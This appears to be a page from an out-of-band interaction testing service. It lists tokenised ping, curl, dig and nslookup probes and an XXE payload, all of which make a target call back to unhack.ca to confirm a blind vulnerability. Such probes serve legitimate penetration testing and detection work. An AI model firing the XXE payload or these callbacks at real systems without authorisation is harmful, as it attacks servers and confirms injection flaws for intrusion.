$ ping -c1 -p 007da3e1d2782cc166d219f26aff1200 unhack.ca
 
$ curl http://unhack.ca/p/7da3e1d2782cc166d219f26aff12
 
$ dig 7da3e1d2782cc166d219f26aff12 @unhack.ca
 
$ dig 7da3e1d2782cc166d219f26aff12.ns.unhack.ca
 
C:\> nslookup 7da3e1d2782cc166d219f26aff12 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/7da3e1d2782cc166d219f26aff12">]>
    <foo>&xxe;</foo>
 
Waiting for ping...